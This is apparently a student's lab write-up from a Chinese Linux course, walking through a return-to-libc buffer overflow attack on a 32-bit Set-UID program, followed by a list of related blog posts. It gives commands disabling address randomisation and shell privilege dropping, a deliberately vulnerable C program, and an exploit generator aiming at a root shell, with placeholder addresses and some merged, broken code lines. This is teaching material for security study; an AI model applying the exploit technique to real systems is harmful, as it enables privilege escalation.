Return-to-libc 攻击实验

一、实验描述

    缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。

   不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

二、实验准备

系统用户名 shiyanlou

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

1、输入命令安装一些用于编译 32 位 C 程序的东西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

三、实验步骤

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:

gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行

本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用“-z noexecstack”,或者不手动指定而使用编译器的默认设置。

3.2 漏洞程序

把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12]; fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

然后使用gcc -m32 -g -fno-stack-protector -o retlib retlib.c,默认使用“栈不可执行”保护。

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}

编译一下:

gcc -m32 -o getenvaddr getenvaddr.c

3.3 攻击程序

把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111;
*(long *) &buf[24] =0x22222222;
*(long *) &buf[36] =0x33333333;
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取

3.4 获取内存地址

1、用刚才的 getenvaddr 程序获得 BIN_SH 地址:

2、gdb 获得 system 和 exit 地址:

修改 exploit.c 文件,填上刚才找到的内存地址:

删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

rm exploitrm badfilegcc -m32 -o exploit exploit.c

3.5 攻击

先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:



20179223《Linux内核原理与分析》第十二周学习笔记的更多相关文章

  1. 20179223《Linux内核原理与分析》第五周学习笔记

    视频内容知识学习 一.用户态.内核态和中断 1.内核态:处于高的执行级别下,代码可以执行特权指令,访问任意的物理地址,这时的CPU就对应内核态 2.用户态:处于低的执行级别下,代码只能在级别允许的特定 ...

  2. 20179223《Linux内核原理与分析》第八周学习笔记

    视频学习 可执行文件是怎么得来的? .c汇编成汇编代码.asm,然后再汇编成目标码.o.然后在连接成可执行文件,然后加载到内存可执行了. 对hello.c文件预处理(cpp),预处理负责把includ ...

  3. 20179223《Linux内核原理与分析》第七周学习笔记

    视频知识学习 1.fork()函数被调用一次,但返回两次: 2.Linux通过复制父进程来创建一个子进程,通过调用fork来实现: 3.Linux会为每个子进程动态的分配一个task_struct结构 ...

  4. 20179223《Linux内核原理与分析》第十一周学习笔记

    缓冲区溢出漏洞实验 一.实验简介 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和 ...

  5. 20179223《Linux内核原理与分析》第三周学习笔记

    测试3的实验: 1. 用gcc -g编译vi输入的代码 2. 在main函数中设置一个行断点 3. 在main函数增加一个空循环,循环次数为自己学号后4位,设置一个约为学号一半的条件断点 4. 提交调 ...

  6. 20179223《Linux内核原理与解析》第六周学习笔记

    视频知识学习 给MenuOS增加time和time-asm命令 1.更新menu代码到最新版 2.再main()函数中增加MenuConfig 3.增加对应的Time函数和TimeAsm函数(这里的函 ...

  7. 2018-2019-1 20189221 《Linux内核原理与分析》第八周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第八周作业 实验七 编译链接过程 gcc –e –o hello.cpp hello.c / gcc -x cpp-o ...

  8. 2018-2019-1 20189221 《Linux内核原理与分析》第七周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第七周作业 实验六 分析Linux内核创建一个新进程的过程 代码分析 task_struct: struct task ...

  9. 2018-2019-1 20189221 《Linux内核原理与分析》第六周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第六周作业 实验五 实验过程 将Fork函数移植到Linux的MenuOS fork()函数通过系统调用创建一个与原来 ...

  10. 2018-2019-1 20189221《Linux内核原理与分析》第五周作业

    2018-2019-1 20189221<Linux内核原理与分析>第五周作业 实验四 实验过程 当用户态进程调用一个系统调用时,cpu切换到内核态并开始执行一个内核函数. 在Linux中 ...

随机推荐

  1. CDN专业一站式解决方案

    调度,弱网加速,动态防御,无限节点(重)新技术

  2. HttpServletRequest request方法详解

    //1.获取请求参数 //获取参数的单个值,如有多个则只返回第一个 String parameter1 = request.getParameter("demo"); //获取参数 ...

  3. ThinkPHP开发笔记-控制器

    1.下面就是一个典型的控制器类的定义: <?php namespace Home\Controller; use Think\Controller; class IndexController ...

  4. [转载]查看JDK及Java框架的源代码

    1.点 "window"-> "Preferences" -> "Java" -> "Installed JRE ...

  5. docker教程目录

    为什么要用 Docker 什么是 Docker Docker 镜像 Docker容器的运用 Docker仓库 Docker如何获取镜像 CentOS 安装Docker Docker 列出镜像 Dock ...

  6. Java默认提供的线程池

    Java的线程池都是通过ThreadPoolExecutor来构建. public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, ...

  7. Linux命令详解-mkdir

    linux mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录. 1.命令格式: mkdir [选项] 目录... 2.命令 ...

  8. UVALive - 6712 lca+dfs序线段树

    题意:一棵树q次查询,每次查询给三个不同的点,要求计算到这三个点的比其他两个距离都要小的点数 题解:很明显的lca,倍增的找中点,关键是两个点的中点很好找,但是三个点不好找,我刚开始还准备分类讨论,后 ...

  9. python - pandas或者sklearn中如何将字符形式的标签数字化

    参考:http://www.php.cn/wenda/91257.html https://www.cnblogs.com/king-lps/p/7846414.html http://blog.cs ...

  10. Zeratul的完美区间(线段树||RMQ模板题)

    原题大意:原题链接 给定元素无重复数组,查询给定区间内元素是否连续 解体思路:由于无重复元素,所以如果区间内元素连续,则该区间内的最大值和最小值之差应该等于区间长度(r-l) 解法一:线段树(模板题) ...